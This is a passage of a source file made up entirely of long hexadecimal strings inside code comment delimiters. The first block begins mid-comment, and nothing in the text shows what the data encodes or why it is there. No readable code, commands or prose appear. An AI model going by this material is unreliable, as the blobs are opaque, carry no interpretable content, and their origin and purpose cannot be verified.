14b5f7baafe8561e977b03e9fe3c311ac159636347211ec6a2296c08bd8fe5b955dae6f6949ea555d3e2a90ad6b38fbbd4293b1ce2b39866e8c9c615e325adc93afb32b3e8e2dbf5807389c56149e35de1f54e47f7f40a840ba7772826364ea99f53cab6bd13de4d951245ba506eeaad669ef4ed759779637aa5b8809a636a0438350a3bae49c8db318d29bfe1f24f6140085f78403126298b06a319de44020dcecc22ca6ac56a665a19d81eb3ae5214b7ecbb91a0950f7c916aa91f1eb1609eddbcd81c4df54fba6e888f1224be0974e347ac095d9ea25da89f11fabe19472cb88b9b19093406c49a9ea0782dc6bf961606285a7181b4825fd23ee1a8f686c2a44f291432d45e299f7704a28e5dbc44868af17abf56aed5f372cd5c63e862c6ab1ce376223f4ed21a4a9d5bf95a1ce7bf70dbcb51934e28f797e89f15b4488a3f222f070780a5f27e153dd404fe2db8d149fc1ada4768584c5f1a1d0491f8a8b7d24d3ea1deefe3f471b94cadc0a8cd4959e45b918607bdc65b6a5ed7de2e496bb117e9a099c5b4d2d638f930ceeec23a5733b984cdcc6da05d924839969d29cc3f224652d73564a7a868e7f931475b829278058279cec1ec8ec795ec6239087aeedc51f0c8d3b95de97d29438a970457d6b4c3756934db2ee9e809686637b2bd5e660049b26ead83babe72cabe9271ebfed7518ef3566bbd9c19da3e132f14de7c94f3c9f542050522556637787b9e345d13a8d1aed57d7789ed4745ed20210e800bb31676a810f1b68eb38a746219bd711ea744e89afb8d959325843fe4d94bfd0f7030d9f20c18af7a8f38f76fd2ceb3ca9a0ac0b5ec9bfd0e3126979fff2148496de82471bffe2634a79311574ed532bc184798c6efb15f9b7bf9b106c18385426d1eb70bfe8f4f18fdf53e3f5b2867f7866992fd93c3c53003ca000f7a28e3b7d7ba801c210b00f0d363f24151bf3a943fbad5abccd7ce77c8551dec72bf2da8173a630552151abf1c576be18cf268ba2526a7833f923066c625be5a5cb9f35e10029a654141888f5dde3bc28fd5dce5a1c2d524b3db8f40f7247c36532828e6c1c956fbb0b8d105bf525df2b1af2519c640d58087a3a8b34360ad67cbc45494b3b90d4d137bbb372724203a12b9b3e7cdcfb9b854d8e6502e3234615fd0b8f04ac3f2db7dc1f749f0e681ca43d2806a5daa006f65bad5b9fb228c32fbab09973ace81a6895543e7710cec74df689a51a31f99aa9aeb83fc7c6aafcd1d3107b6c2ef3b6f19c56db15236a3188774c6d8906f2bae4fd1addc089764edb158a9f2006e96f6eecf95eff42c447f2a6b22e9236c05170c983d0ec49d0f457f2d6bae5f72bd49b1df98f38dd34aa561870f075e2c8cea3258004b92309ff2a344a1ce4b58ea146ece7804c0fafb460f0840b785c0ae6ccbd6dc710fadb459ac7b8b01cd49f4a77f959cafd542d67ed1b33a2974538428723f1819dc434ff2484ad63f19dbffaa47cb4ecca95de17cee75817855ea056e00250febbf85a8a6c3a5131ee488f25dbba1ea7ca33c3c8cbc96ff7f78f75fd8df1bb9ce1ab8c8af0a332d238f53f3ca7842f7b8c626372a2abf70f2d97b91da9d672c313f84d7e0bfe2066473ef3e8a9e769c52fb954d17cecf70e4c98a6beef7101596fd223256fe15ce2fba251e28c0ac60d950e7114d710d75e9dbd06b54d174f4663414dc19aa0d8021b57b360a87e417f42503fd8e1edbff2115616bfa1b9c7a03825229a242231042a757c68782048a00a49fa14005df006bab8c297da31fe64b979eda9e20640948ee91dd0e10933949415b199d6cbe89158792ad93f9688fae344b2846b2409d630ad7def9f9160d*/
/*a444e38b0565d6856804fb1364125c1dcd641f8f906a94cdaccced0055132ab97beb8282bd32641727e1241013c10fcb80d8f018c61ef518b3e72ffb56072bbe9bc3c52bc356e866caeda08e10f5287fa7bc80f719ede4a6b0f5ccc754e11be8816a5d734338ff9eb8221cd0bb18e7a151aa8dfdc64ac698787125bb17cb2c9d64df16582390352e2f85377eae79241db6b35b9e4b75faa4513557f05576d67d2b91260d447253c5226df082062c089479dde031455cb8212ef82af77b2270037876bf6e073eb0f1e767419ff188346cc60e7c3768a4e55f00cd1c0a49f0dd2e22dc7f9343a86f56e45d3f88d5314c5912ef08fa2389e794df245cce46c6dabd6c3f8044c84967f0abb2ac4b2bc2917e54a0f07eec4b264da91dae97aff80dfad1d746b8e2dd61c33ce651205b9cd91f36373f3087b05ebc10ea178dd473f8a818480a916b06f13f7e5088475ee0338d8189b39c1758afb7d8cd24b1a066283dbed6aeda155c1f1d575210c4075880533646c56c7b7531d41f260d4f809773c9b33e76cefcacd7177f91f451534ff2ca5de47abdb5ddd573fbabcc9f25e2198fe0add642603343db3f929347b9176180b0853d3aed545238afd83ceafb0dc29e21bf45fcb4666a9aeae31dc703054d64dbbd7992edeae67323f0301b566cae230e77ed3aa92793ec02938578ab964713b8ea28dfea7eeb808fc3200d9c6ab92c02d31262390e25c44d7a0ca141c059809ef22bbd79108057416bf7725aefd3f76a3a1970286b75fefd02bdfa575e2cb74cd567b2d3b8e7013d95b97532f6a5b1fd02adcd061d5a0779486a1ed67b5fc421a5cc66e2e997b2ceec2410f7c6572fd3f6f74bda021f4015b85fe870fd6970f4f56899aa4268d419b2c31fcfd52e4073015b09d1f200c021b6e8ba0be894d61b166d485ab77eea764af1f3211b45f1f169f898a2c5ff3e412b238cd91a3a36c7a3301c93da390de54655d4073271933bc30a32596a41c4bed48a1cd89998d0343e525d0400ae2b2504daae37aaa146dbe3756a2f5e4a7e0441dc751147057ed0474380a22d02f6918edc4f18eb16625cdf180c43aff9986329b98025e486b97acbf35c49d71a0f64580127a93ec652b9b89f288911b19cef2fde33f4172d2a0c67af964e2b01ece848fcb4b5d92fdce62e8f8266926a7cb57e1fd861624bdf535f48fcfafa393a3a0b2cb75b8510fbae0c462108440338e714bb06922171f544c791a045b0a20cf4c438d59fb587d315970a2ee2522d07a1d9ed4009965777708be6fc458178c73daa005964a98f55478ca8b5d2bd501c64a49e29415d352df42b0bdaf5142dab82b1bde4736e5d7d77fd0a9c4c6e66bca25e489c97a0bfcbcfb12157185dbd3796fdd6b6115412bb32d9051d100e8d48e3e5f77e29fdf2ca5da90121ba0dcac3223ca29b65871ef026bfa1af1324cccceed79091847eaa3a43b3f79e7b16aa2e1cd983ab52b722c546497a7082cd79740e0ad280deff80ec840c521df17c58f95d5c037bfff27f416db3fcadd27dbeace6131964174ab5718838812557495abda0733b500b5fd1dcaad3febafab6273d2b3f57f76b67b853659158376a0e321f75bd227925cf0dfed989f360caa23528cbafb0cf253ab62dbbf9c31d844687c7ea665088a6dff9f4675be6752b2886a948cf44ad2f148b4bc71368ad2989b1c286bc724239a9758a7e37c3f2e3bb7ad5d378f85682088bbe155509211e371b108c910ab0f8fdf282a242fd5b4eb7a31e72001a45ebcccb0225b9f5c1f8a314280f7040dd647f8485809dc2ea85aac1182b85bdf9a5aa4f4d2f148e53c287213454dd16f5ed44aff588f45ea062c9cdfdf0bb15a77b6b2ce16f20a331d45ba06de1e45fc6b183b7dc6d6e989267beba152a8cbaaba01d45467b9055b6ffdb78f305727cf17757818ba5ffd70edb9853f587d404fc9bc78ec061df2e82a04c8c12adebc4d3d4642e157537c6dafa1e2eb6eb4cf702b3b9bbcf2e9b9d0315da85a97867ec2d01b8334385fe4e1485bed711244dd31e628d435c7aaa1bcc7b6806b7d0a1cff6b335b65bbea5cb59917cb177f828ad7adadac10f239d767e9142be1d4df22345281e68b57a98dc87303e7acc80bb146fc27a97c8bcb7465e748ed670315992450661dbae3315b1f382e3cb98ec4f2f6a67f8fc45dd5fdfa8e545376c18347fb7d0c49be90d407da1354e55cdc1e097f2b1766339df14dea93018099db72bfc28891c5c628a00d3488f2f09e307ac72e8c03754f090992b8d344351c896ab3695a6feb213a5ed14db30dd80bb2ef5806d61c5a69b5069ba36bfd2aabd8ffdc175ea3c05d48784e84431b7679847953600dab43d4fcaf7394c9016b1cc3be83b39963557265d3c6e4df21784efad5d23eb6a0651bf6f58498c759e850d0dda34b81d308fd7b463751d56a0d108925c63a38bf38decd550b5354d3a7ddf98a123d0ff356d700fdb6192268efdd91558b0ff52d66cd1363aafaebcc48772b5c244608e9bbd11f5e2c15790ef76a18a20ba8f1c9f59714a02c0f4f7c692a3d4fa9d234b7920900e6df4959447a98a2f8168db583dd6b374e302180c2adf5e07d740121adcacb309e6b336e4ddf39a464b09c16c76a3b57f30e1af590ccbb4b279d473166b54b6122ccf0a5688fa85303648e7bc7a96e060bae87ba68f131746592a4ad270127e1a9165316c85933997fbf304b9f9d4a4d76d7d23a56bd7bef7a95dc596904835084356506d4819d749c37b0b4a5d4d621ec4bdc5d664bc1eb21aa21e798b053e004e099c3f6a7900aed5b0eb3d28e3fe*/
/*ac83db8c13d421010bf4f9922e209e864586cdd753ea5f3dab907f329df9f0c99e3a202ecc051ee7b5ae59ba5754e6141ce879a3fea0b3b7c9b1f444e7fc29c067cf215ae6bc2f7acc4b50e8fea03168558d737a834416b70e35d79577d4b8e6b0ff03f8db943e6b32b82ee469672bcb083b76d6aeea01c65b766e2551c65e77ab8cafa90df5f2732c60c748c165be5c676ef1934d7bfa670205988b3d7399d6c1064c0a5e19542197d1e4519047d7fdae93599c831bf4438f086a967ea18659639c8a4d1a1f84b291e6dbcd676b405a353b0f39ccead05a2520638d6e2f8f7d3c1fdf69d141f0a0acecc322aea457632f4c2b5fdfbf62a54f6930a1b98900a12ca07562e015a674e5fb392ae509b648438bd8f133ad32db6215512be96089c21ec08a1383921974a0625d64d73e48d10ef8e845bf82dbe56988731154132a16686f03e1206303f03507141e4b59629ce3519a2e643111372a90d6ca94fa463a06d24286174936c4ac00c6b73ea73353494a90f17f57cd374ff2ba1dfdf6451b84f2640a5f7a53980c915ce6c590fba4ce774d823d01674d4c1b109db6dcfcd2c4c7b75a64cb502cce74efbb3d6ca502ef3b35cf23932e0285fd6ac81a4960c1647b2a5944e3d090f235f462741a49703278d8db40ed0054b00c6e00de490d1f7e9425778fc6c677af96df392f775cf4f6147d7ca69e01ea0a9de77b43b5800187a49a4d1ee4c4390d5eea21be7b5bf8202ac5aaaf94e37e8b0002f1ececae947e16d08f5e9a147df3a31e3770ae30c805cf9a84a83312dd4ee483cb13070396f57e991b79b5f4364199c05432fa43a7599209a191a88556866dba80454073a63d883665a7dc817d34825fd07e878a92f93dfbf1f2ccd43c7bd9fb470921651154008dbe5adf85dcb4ca14b6355d0d3e746a4158cc25d7a4434d32a75a8370dfb8d70797cfe1121f39f7f30f09313791329bb6c8dcbdb81da1856890eefb3e12788deb7102ae931aea0834cb4a33e19277f2e7fe9a702e17270a123a13e20576ef8b6861158d04631f4db258b27e661707a03eacae7b8bfd8310c6ba5afda345a892a56d0028e64520f1fa4a2e3dd4d3da2592b37533f1831d0de37dc52c429459441d0284c69dc327e460497d66185535074343802f9dbfcf9782ba100ea5d18a1ba236f4cea479981606a8f735783e1db9540b849f8828f72ff9e59f6269afe9222418cb9e0ab642e6a8683e34be975812ac841e822405110be7d23797a34e992942c393341fd78bb2ea72f454d24ed7fb04466fd2ee8ef2a7c02db720eeef5df22ce7ab4266148a5084a59789670ecda074718868b2db8b3833a1db08539a2a6bada7eb87377fe628b1422e9abd7bc5c3911c806b370616a65172a1d53d908aeb00a9afd65c48f5a0400bef91e63a84df9a5007ad13d5f2ac754dc6632fe725bcb4d4bd566aad6bc31a43a47973f6263a4b898e6332bc3514bf87fd41b081f69d7377514815a6448d3a289aa34b26a5d298c183f5c72f59aaf26c279dc8c74b47498ae52ab26dbca83c093c0541e7dc42ccb55384024086e8dcddea48e1cd17ade44e994e906c3e93b6c31836ec6af4aaf0a80602d683e670a5afe989ee56f45453e5998e478cfa82a2d2243d5c83f5dcdf368d4f71c44fe48eea7ba1d949b76ee629853d34319dbc9b859f93c151d7680d6b01fff2bc9bccb820ea7e0330e0f30653a1db6572565972ee1e6cf8d4c8277d8aef91566510d6fda59bab19af6944d7d55d2edfb043176014fe7e60f64f044eac2f319cebe02ba6798e0fd24b38cb7e0cf802de161d7e06e3280ef387fde4f48ab67316bb26574b4fe2e74fd9c4f744d27f8f3cf79f9ee41f2c663bb843359419a16df940211cf10b4d7d073e9aac0a47df7946e7b4d40efb4a501db280ea10f08833348f400e369a320a2843db92d79cdc3b387042991bf619fd3c5703b0eaf9f344230f915465f6ae126f0761844a7217a1fc4e335d5ce81814d3cdd36a972546537ba2a8bd406272b04dde2cff2e0c41634436b12a88aa9f8a288fadaf6b31b7ad633cad9ed5911d30398639d96cb87185ca02760d3aa9e39de2668bb1da782cce669397bbb100a4e764618b136c0833e966ec277194aa1fd5ba93174b3cc325d8ab1191ecca9b6c524209bb90e16a5e4062069e6ff64eeb7d70f44071f035d7171d08e2a032188368696229c013ef4fbb16414d64ab40bda4f20fb25167d285452a56c73cb43fe0cc521764ac09718ae4a06bf1e2e456f949fbf984b78f44f51938cf2d3ad1883a64989db73dabda45c556fb4b56cb2222e321044fd366299fee34970bc95939ec83f54e7c38155e4f5f5b39536faf688a2a0119951ea272b9ab97fc91b7e910c072f0a35f3a6e2a920ba25687a1e03036539ff4548a60bd0b81b040de9517d1a175f4aa5b5ad4e1542fa42e6bc07f952174cf61934c6cafbb1bc3df82f94076b2108b35e937727fc1118d798a58e448c2c2d78d0c92910cfc3e3d5bfc778134a7691580902a96c43f4b1cbecc825ab7f04c39dd61a49dc7916628d55cced6ca166395336db3d44ae252473c23392144c630a773503da5112cb0e1c764b663cfe8748e50e78cc53455872570b0a71a2778626e1070e76a6b6ae7c6ca89247518abfc2d1a6dc47e3d36ca7f5f186a29cb6e884fe606b3f482b85288c5541443ebc3677f44dd16df790dc93198312a543ecaec8165aa9e05b3283ad7204e97b36d69c139e48df699a8ee03573e59db5aa4c7a223a5a622b2a9e13c95bf07cb493f26bf1a6ecbf84e9e808d9d58f883b69c14df366b*/
/*ba2c911697a6f508dac96bb327bff9b028131641731996357a07e99ac720c8ae1156e11bea4301dc6f8a574e279ace4c2beb363aa7677a0246bb27d7682b8cb15edaef0c1f8d1e9c6d0bac212e7f25d81dad9de8b1747fe51164828e2fdb7f59cf8a2f87dd0f5a15e97ea710b6f1367b6ba75741e4b42c5de9cff2d545ba83421d3fe66de139ce226bb77e4b9805f8aed7c1ef674a2f64465d39bea2518525607589fa7a8b49f870a280cc47895bcb27ebab7243830e30a43f850a9de64a02c788b9b5b599eefb6466008f9ad3cd3d5335d690409e0e10f20e95074f53f4d2f45781c744798b9c40aea2bf68cb6aadd2981baad6dc3871f238694df4550d0add95e0202692f76c810ece8e45efdf187f6deb3535fef1ec110ef09f8a7b72b14eeda51f05573cf4dd4e82d02224311b303bb5c8acb1fac7b5f4d94f68b550bd8dd9a4626208c8fcc3f849b971a372121cfff433ad111a6e1e177de59ee4679c21f3280cd12b97ac7d4c2af9cd0c794c91688454b6458bcefde67cef84eb8476a2846a6d9b196c6ce99bd1dc7b01e24d28da08bbb5583ada266d4d9b80338baea4d6933c1d85899fcde16e375725aba52c8fa492d79d6fd177cdd24c330b8210144184194a0f4a2f0152fd685bf354aa5974edaf1526361d2833dfb82cb037a48c9e9fbeaf7ce733e8fbbd65d37ac8417d8c1c61c8a825c6edb655267467b75a29d15addaebc963625a39e244aa52dcc99ad20e2e0bb94a62268f676ab49dc954e16153568c89819def6e60e78b2323deb16c04cc1d5eed365cbfeb94d3a7ce7b38554f49bb352656dc755659c358549f1ff6fee6d688b463f59ff3bfa064eff43f3c213301d78cf31cc17360b6e6c91c1602e9e4d06146dbb72a74eab21bc51315b71f8ed8311ac98a10e3d1bb12465b8102b2050ed2d5b794eca47c669315b8fac2a3c8975d9e7db63a42ddf05ecb0b0fcbd496c2967efe161eb589813c0f8d636625c94cfa440d20e810373c3f4cfdbed208711d6aa0468098aa5a0324c0b8a5456aff0af159152fb212849676db4ddf68e506ab09eaa1df4de76693cff31760b15043ed1eec6b1867b0e5dda9f7ad5f69b16d979371e211bb8fd462cc1d4dafdecbadb4a3aa1cac757f470f2300fc747d9a76e6f72eddf6a9f3d777094d695bd0650ecabf9b903d82d0b200b4b6b9a82b224c6775606e96fb648194969fa45370d21926fbf5b2f13359c444d16ce5ec409c722e218696e862de51f42409f5240b88b92394a27b5b143cb1b4b2456a5204bfd6ce00bfd07159ea94d58b9b0c38d47b5f724ff314bbd647e82e0fa39dcf1c22afe703729b48daeb83affe9c8d1d77c6090f4f8f40e18e25a8e8bbdea16e770846ab7ceb89bcfb2f2df637441794f0ad2320434a160e00628e387e7af1eb39b64b2894e675f016a133299bb3d4f83d33e20c9bd5c97a3c5cfd87711dfed027564c3a4af7b8c88e934a17eda8ce70186505c28a93281e3681fedd0cd56843c1db4b1680e86c005578a2701b4089383dc191b73a1077cf8549d45f8a35ea8c5ff01214ef52ea90204cbeeb5d2379965e0a9882bc5690dc74d9aed64672650899c4ddbf117798e7f5dabf112a76a0f46ffe9df2d8f7f754bb1a7b63dde9fda8a3d15664dcbb9cc2302500f5c72b3ff5fe88a6fa57bd0667f9b1d0c86c4cf592bf80975cce71c74de2f8ddd48e39e6edca245cccab27d151a429fc9e744af53a155fb372f9d4643213f1a6a301ad2208d0dc69409e05d97ea395f71665c3b26b2ef0c64ab33ede6531c81866565c5e1fa5dcb20a7ea2afec368fab5157c3eac2044e192892e0bfb81cf2b7d2605f46c31a98a8490747415f43ec3a51e0690cfb68229cd4b488596e77d20d52d12ca76ad5e2caf8e8beabc6a22d408032e3424178cdd5facd95b93de743a3d8764baf40a0e2326f99056ba7c6f3e196158dcf6436efc4fd0df676acb3ce5090a8ef96f2887f456e6d80d758565bd127635fb4c2529d6263869bf95717a1b4e12f61316330781183ec9bbb4077116966de07b5e8cdcfde8c5bdb59ac7eadfe0863038a9b7db1d1d4ae3e53134e8e4b30db2b1f336f72be7ac5408ee86bf393c1dce4f066e77dfece439b181f7951d7285251abe325478870fdf41b7ff43c3b75b0562e7acd95bb6d95abd44a2c05bd461478ab1a6789c2db3a356b36a44ef7b497383e0bd64b654ac1fa8c45dc94884aa2de615cd118025b2c61872c11330a23d732a01ed5f70d55e03e4f9171a1f50c1fe069172f53479812940a6fe3a8e707edd0b32e6ee0c5319ab17d342d198d33edd4f05c9f4badcb1fee4ba5a18c58011fcdc085e0f2f8b27266ee7f999369f16923b87d68204e2ac313533c1a8f44416fcb5d0742a53667020d69c13837a39f07c40a89127ec1c609415bad0f74bb5f31b7d043716ea48752020149b479d36a4614eb6dfed6bc2ec365a672f18594030c19e96f24dd990c4cd763252e1cab89d291be2315130e458fb8050dfacd0e4dbf012e0d9b986d59fa2dbd47c02299e7db12e9b9050f7fa2fd40c948747bf99c47eba1d6875c9e4359666834547bda43be1c03baf89d08e2f73328a7e82e898890515d8c73e19f7a761446c45522ec2d8b7264e4062f658169c964abbf33bc279d678ede18289cda669b32b8f90bf2b767b0dcd6c46f2ba50bca6a5db849dd50507e3aec21e3a37ed6dc92ed7d25eb89e4509d98ac02d87501f087140cfe2ce0bef5a3d680202f7c71c15bae228738f54266626c2c421293dbc8a10892b37dc08c47995df3bf8009a2627c7682ecc0c9e17d6dd*/
/*2365fda6b17532e1c8f930451002e05cb7f1f3c866d3faac3fc2e4daba0ce6d61f5c23ac3b9b936e839b86da742d70f0a23301a2abd2ef09f8bdbdcda6fd678a93185d3eaa3ce0f9f65cae4c39715400bb66a89e35ab52c80ff8ae1fb89e9bf65e3f116d4daec5ff72d958c1a4520b97a3ae3ac35867a80a1421362ae89d32f6a22b077f4ae4ebbdbadddffebf016277233afdd53a7829157588a0f8f0f5dc15e0269302255f44dca32015bc3d8b7ca5c1c021642c1f8a7777902cf6e7033b35e4e5f53a60986b9cfd3aa90b7bfe74b0fa222d539f89b1233c55dd32d84e08fb3b5c4089f7838a033c8705fbfc7f09939e67ee9c1cf6a9fee155bf41f0431ad64af993346bc89201af9a95494ec2b0a94fe064d4c9199f3d77a6816260ba22800981bd34f7f47eff8e6c8fb8fd2dd6f95f49754432f6bbdf7120d7dbf3e73ace6e4af2b7ee141c6c25f0e2643bc91085851f40fe8cd5d533976444753d8efd6cd26e88c45cd88896d5535d5528094c681e2281da6c3c1c6cf3bfb267f10141c4cbb5f7c9b2835a40d74b0014eb99c8c7aac0df649999e7680e6d0a6b06c3bcc66bb361614eb863011a123e152eff3c97706f10e8201bd823c0db292abbca15ce9201d032c7b41b25dbce8d4ad65c1403a71c53d981592597581650da96a911dc7b6c33a04890e8ca3df7a117b20aaaab05528b236e57251f2010bad44f491d5f635b08fab11a17a4d21be0873ee7522026c9a70dac76f97c3966a597178346c298684f89dc2b5bfd7378ac068c76c15ac776d890c384ab9b2e930d32b02181541831bc2bbd58fc01e01e71a392dafea264f15628a2871eb52220f5521e81427211610f2dda0f1b35b45fb62e58424f133cce299879477d11b28612056f93230ec365badac8f6dc7271aa411ecb970ca5a52ae878578e7e82a5005af5a0e5f44e52b191a6561f81db5eda153eec8e4876ce04f0aa135eb7de9e07c48a14e3377094045557e0b39c4fdb6a0699702eb4929c22202f8e04eea58041b96bf5c5d1d8b7cffe0fb5bc9b054eb3dbf6f68b8d196dd51d3f6d812c2a52ee4dd325d293aaa8571f6457b7522d49f59b742363aecb624e957c87ee706eb849b0f192b940229681a86829d32151dfa3c87a57da23a01da50c6683eb5ae69b19c1e82bd4a9226eb9b28adc71fa7f3787c876d168c7cee4c7ab3750301228bcb3f8025a84b3e7cbee80043307759d15731a6c7152586005d377fac3e18492c6056218406f3c353f9da99aa7a4c19861b944fde06ba590cc2fba5dec397333071807b7882bd8e95adecd95d5a3ddcacac3acd4ff26a574cf6411a412927037dbd8324986d31cbe4e897217c4c0ed97956a6057c3799419958dc227615b3912e12dbfaecd4b47c7116f1cdf1155cecf48c6a21bec828f247b1758d969e51f3d9667398d80b520a39c899079b9319f84fe35a3287feaff975a93379f2716fa81aeadb798a5194fb342e2fc72dcadd1c5212b7b791c5d23e12378bac287ed4919c4136938dba8bf006a62695343b74398e989fac9962aa732d92d470d8de37a524b329859d0df1488697ceae4c0fe1b4ec8699055d53011d6a93d2090218b9cf619fdf7639d1bd26d61c2d2ee7933865ad6e67cbace8b11cbf9a96c0c74332faaca642464681f459b682d935a1038e0de99a586bda23dc0389229e9cd83f3bf66047356cfdb8ed2310440cd74e3b7d62ffa998ec3f9d8eb99167d2f4117ca7e8a5c4ccce7c314ef9c796de808cfab3c79a78bfa95bbb28ce2964c2af312263a46c53c34698f364a74da3d667e27cb5576f6e49e01235434ea0249ab971c60c9f0aac46f52078ffda5a8c2bd513c64ac69ffd5070c35c22c8cbced50d661e8a57cfb7ea81617b4b620bed163fd51cb6b91c4012df00bf54c02c36c6835b0db7e78e487cdcadd3bf4ba701677ba65914ca32bfeb44ebf3d70f04538457585ffa98826371f88beb41d6d51b767f17e4016cc79cdc56e5eb2dd476e77b08ce39ccfa6c3f08192040faaf4be931946a9639dfa956e3c35d0f2614e38c9a5a192807bbc56a87a060ee84d456967785a77d5075a41d22d9de765af88c917b9fe9b2ec8cf695fc090d9d1ce0b7bdee94a64622b375f566003583b6228736274e68bda644b3a316639a02919760b78af43a8877ac6777c886ca80514d16205fe8fa34c35c824315e206a7ebbfae16a47fe10a042c907871e378bbbef83778f2de832fc988015795c5594d1abcd9386a671f3634aa47bfa9bfbb01bd79e4ee14038014928f5da51947c41bcac653f14b4686e3634de1c0c809a356fef7bf60e62d09ba2ccd4627e0a5f66c09e845f80a03bd63ebe778d87fb4fff88dade4ffc23a90365268d4aae281b6041490fb20f7a611668568da448642edeb273fed3879ae602aaec3d415241afcc2ec0d7919d2541652c5e9c97df9b4de4727c7855d71cdf58447d344cd1c5f33a18fd570dac426de3fa48cdb59c7bf8ae7afe04d3c4abefa34b117724570511bab7664e169970201b80e68df60087b9b1b12135d7400f9aee698a0196ae9e3f8df47026a8ade900c83339d84a398b9b48a269122a651bc06edff8076eb92855533045b551490fc4c374232270a5cdd609524e920b1d826bd7a39082c817eb588d33fc0a042f73544f2fafcb2e04fd0293144e18932c5bef32e68d1980ef22f667b01729e0d39d119224f8ee94b0d1f8f3c2830626e40002ef720f3a152682228d215963a1d77dad4fe9771936986f33426b6ab77b3ec9d0f916bea86c2124c62e31821cb3ca04e5c651280bbc784b39e1011648*/
/*ac24b1b83588ec1889c00aac8e892339fdecc8f48d5e8a422e157b1d1a3e2e46ea36a9768ca09b771781fc03a01ab40a2087e5c8a79e3116e340b2364c3f8052fe767fc162d0c70219c5992634504471c5ab8bce1ccb9664d428563635ce1c7c3741f333f1930aed3072f0b13c3865b44a8ee8426743423a976296ac99418e73041912a805b3b370c97b3c77d6331b9559c8077191436303c76dc6437ac31dbfa1efd459772bff23b02ba3f78ac2926be9029b6175d4d1c676046edfa0e9f76a2f5cbd0cdace477f453458bccf7021e3cf700b47d482a29322254bf8d84f7009e30df0e637fbe738019b2c12f3831c0a8ead8a98c24201be2930d17a349b6a3ddb42f0e963864cbd2f12c3dce6774405c602f9e0755dfc43f17e97f99e3663f7f0c3eee6deb3f807cf2696c16565a82148617705a830577bd28c6cc1e7a6c91fd7231a052ff6da9cde3be2dc19d3ddacece8d23637288f71fc972e0792f45f012da473c64ec8903d440c16ea07972539c04633a5e0f3669143d1690df39f714a73f99758ff1274a49951c8b48327fd0cf1084d59be8c2ecf20b8ae62ffe235701f6f19f1cc2c39649d5d8cc6a7ed10ac75bd4f90f7e9a0cc4c19cb1b67ff028c32ff2d320a3ccb13686ba0ed9d42cedd20c11499a28d9a2c461a83f8171fb2532563436a21d59cdb6b84c1912f67a99fa2c85160780235a41fe34ad3859c5bd32b4501f9c428e014178eb5f20f6251bd5d98ab55b9a12655d8d79295ccbe6db768d701bb9dbec4715f038a48bfdc939a86c91872fa2bbd820f149289ad3bb933dd9ebacd3684800ef51c62de37184765a5f1030ef4d16ad7b652986f6714beb99a193f714f008f34b3d57f7de1330e8e7a37cb8f1ccbc7874a73cabae2385da7596083891ce7155dd1d9d1fcdee177943eee6cff13438e8e60cf0232a3494f0f1f322288e6ac4c552258092e652f7a6b60a168b5f4936e66743a7767c0fb5bd08e5cedcf58da0a8bd900ab41d0704d78a7fe409d23b2012d3e6ed6842662456a9bc66964ba1eb819360285f22e1bf0094f6d07c9d39a55a091aae607216f25321002301ac5f1d1ff699d9049030e012cc154577e1972f8d370fc6ecac89c6d8b30399460c43ca8b294467c3329e109b2e74c89dabb368fb8f302c2be6f4d3862c9f2cbed39cdf5fb8a6a6a76b72ebe0d55892a2db1b55d26a882759267da7bffd1e652e6724eca9bdba4534407bafc32425ab08aedfd56d12fa5474a728f891e3305fee7720fd15a7c39a783cec4b382dd7c36c6a54b5652b026b3526df66ff2ce4bf9db1dc66d11e7f3cd4d5d6c7e33a09a513ac2dd9683f4e5307a1c47f3972a3400f362fd75444c67ec62e0b64f6a109d1fbe26e1b8614d1f73c876bd0b423f2319acd2d982d872adcab2d81fae87499f5da91480d0e68f7c02d897b1d99c8a6cbe7ad0e4bd5d6c42c6b1ac5301751b7d5d267550cf2eaa9af72caab8ea6a7e695b33d2cb5fa82a99e7dc6c1fdbb49adfbe5655c9e02cc93f06dcc4f77a23d3d87d00139659365e91e3c1dfc3c2bd2ad4676ca8d963c999cca3a6bd72b2b437716cdef6e41d762d099289e710ae55de5e2e8c16bab4429e94202ffc9d71e666e66afd48e1409a0a26e8694949edf7befefd81ea36b180bf4f021497c27fced44a62ea1f297519c8bf334e6a55bd741fe26bedb492a0bef8c0c0a8008f3e7c65c6041cf74daa323ebbe9fc9e4766b39ba96d398368a4abc0886304fcf90fffb0946115adc4ece383831b750edaeca19b2547c56c0809190dd176bc917f6b2e9ed32639a47e603d3a7a1d08266964841fbb3396e8f524b2d55bcdd7464b40107c29f6e5d16675b0bab87a2c6eec187bceae9f5dd9fe6fccd2931a236749e49f05932a570b73cebc57b5b797599358acb9bd772ed59a7ae2c2cbf00d0dc965a4a77b62d1ec9d17b2e26ca423f9932eac97da461b95401f818a1760657e582a82a8857dbf64b39cd29208bdd4c56ad250c34f34f79dac4d43af27b02e4cacda4e6c022ad6631e905b70147b4269e82fa2452cd4845f064bad1e329e15c317a99544c5346f1486fd1df9aa465798b39974052f0547cb4efa378b93d22dd92abf0723cf8e1a9cb4257e8bf2813d38703c200351cd19667e8ffc5cdca47339cd46b22a9edcb0b31c4d603f6156b12063155af54b45f9eb26ac82497f60366794d73e1e564e202a050f5a57e8772ccdf3b297d7755813522da81abef5ec223484e8f4c2482552cefc6d4eefdf8fc73bca06d5289977496c87353b3178bafc298dd54f4a9e1a9003924be452141b8adc742b98e42eaa2ddda656a3febf9e84565288849b8307503d1aeeb879f85aed7b8f668173dd73279bb0bc65b4e815a18435a00e93ed462cd824a751d23f4e8fe0e8a9b9d55d0a9510c171b8b2ecdfa4ec4e67d8be77bfff1bb4b3792bb80eda85cbcd409364f28d79eb94080b525430a13bb78d1d0f43ddf266d540c2661f6bff574a8adbfeb432343c02187497e212f3f8207bff8891da87895e4df484f7a70aa4a2146942d38b5f3f24014e87ddf977adc5c4b61a1aaa17d97bd44ce5b21f615a6d61aade3703d615be76019202e60e819b35e3a2edd01ad3d69d34249c89fcedd19c434e219795c62f31c85bb38fd520e7c90e5e372e3c352d47d9dfed829eb2a43c1b70f47acb795608489c049560bea8556ee0511f0932bfca4d42f15ed5de1c79346e3d6554f5ddb66d9af55cc9f2ea4000a020ab6be7dd943b36f9ca66cea062c15bbea8c7a8dc41952c44060864f4260afb8232e56b39313dc7cd99c2f7c59c*/
